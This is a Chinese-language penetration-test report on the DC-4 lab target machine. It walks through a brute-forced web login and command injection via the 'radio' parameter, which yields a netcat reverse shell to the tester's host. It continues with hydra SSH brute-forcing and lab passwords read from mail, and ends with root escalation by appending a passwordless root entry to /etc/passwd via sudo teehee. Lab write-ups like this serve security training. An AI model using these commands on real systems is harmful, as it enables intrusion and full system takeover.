概述
测试目的
测试范围
序号 | 系统 | IP |
1 | 本地 | 192.168.152.128 |
2 | 靶机DC4 | 192.168.152.134 |
详细测试流程
1、发现测试目标
2、信息收集
开放了22端口和80端口
访问80端口,发现没什么可用的,就用BP暴力破解
最后得到密码是happy
登录
3、漏洞利用
登录以后可以看到有执行命令的单选框,这个时候我们选择第一个列出当前目录的文件,然后在BP里面查看相应的数据包,可以看到在radio参数里面就是执行的命令,然后用加号替换空格
先将这个数据包发送到repeater可以按下ctrl+r
然后我们将radio参数里面的命令进行替换,换成
nc+192.168.152.128+1234+-e+/bin/sh
在发包之前先在kali上面执行nc –lvnp 1234
192.168.152.128是kali的ip地址,1234是开放监听的端口
获得一个shell
用python稳定化shell,获得交互式shell
我们先回到家目录发现有三个用户,以及在jim目录下面发现有一个密码字典
保存下来用户名和密码
用hydra暴力破解
hydra –L user.txt –P pass.txt 192.168.152.134 ssh
jim/jibril04
仔细看,在登录以后提示有新邮件
输入mail命令
进入到邮件对应的目录并打开邮件
得到了carles的密码^xHhA&hvim0y
carles/^xHhA&hvim0y
Linux里面mail邮件的用法https://blog.csdn.net/weixin_34765773/article/details/116642547
4、提权
在jim用户里面用sudo和suid提权都失败
但是在charles用户里面用sudo –l发现有个以root权限运行的命令
查看/etc/passwd文件,直接追加内容添加一个具有root权限的用户
添加了一个admin用户,密码为空
echo "admin::0:0:admin:/root:/bin/bash" | sudo teehee -a /etc/passwd
添加了一个无密码的具有root权限的用户admin
这里我尝试了在jim和charles里面用su命令切换到admin都失败了,后面还试过添加其他用户,发现用su命令都不可以切换
后面想着试一下用添加的用户直接登录靶机,发现直接就成功了,并且具有root权限
漏洞详情和修复建议
漏洞风险 | High |
漏洞描述 | 对登录没有次数限制,可以爆破密码 |
漏洞修复 | 限制登录次数,加强口令强度 |
测试结果综述
访问80端口,利用BP暴力破解账号密码,进入以后修改执行命令请求包,反弹shell,利用python获得交互shell。找到3个账号和一个密码字典,利用hydra破解得到jim的密码。
然后ssh连接jim发现有邮件,在邮件里面发现了charles的密码,连接上了以后分别在jim和charles上面尝试了sudo和suid提权,都失败。最后在charles发现有一个具有root权限的命令,利用这个命令,添加上具有root权限的用户admin.最后在靶机上直接登录成功。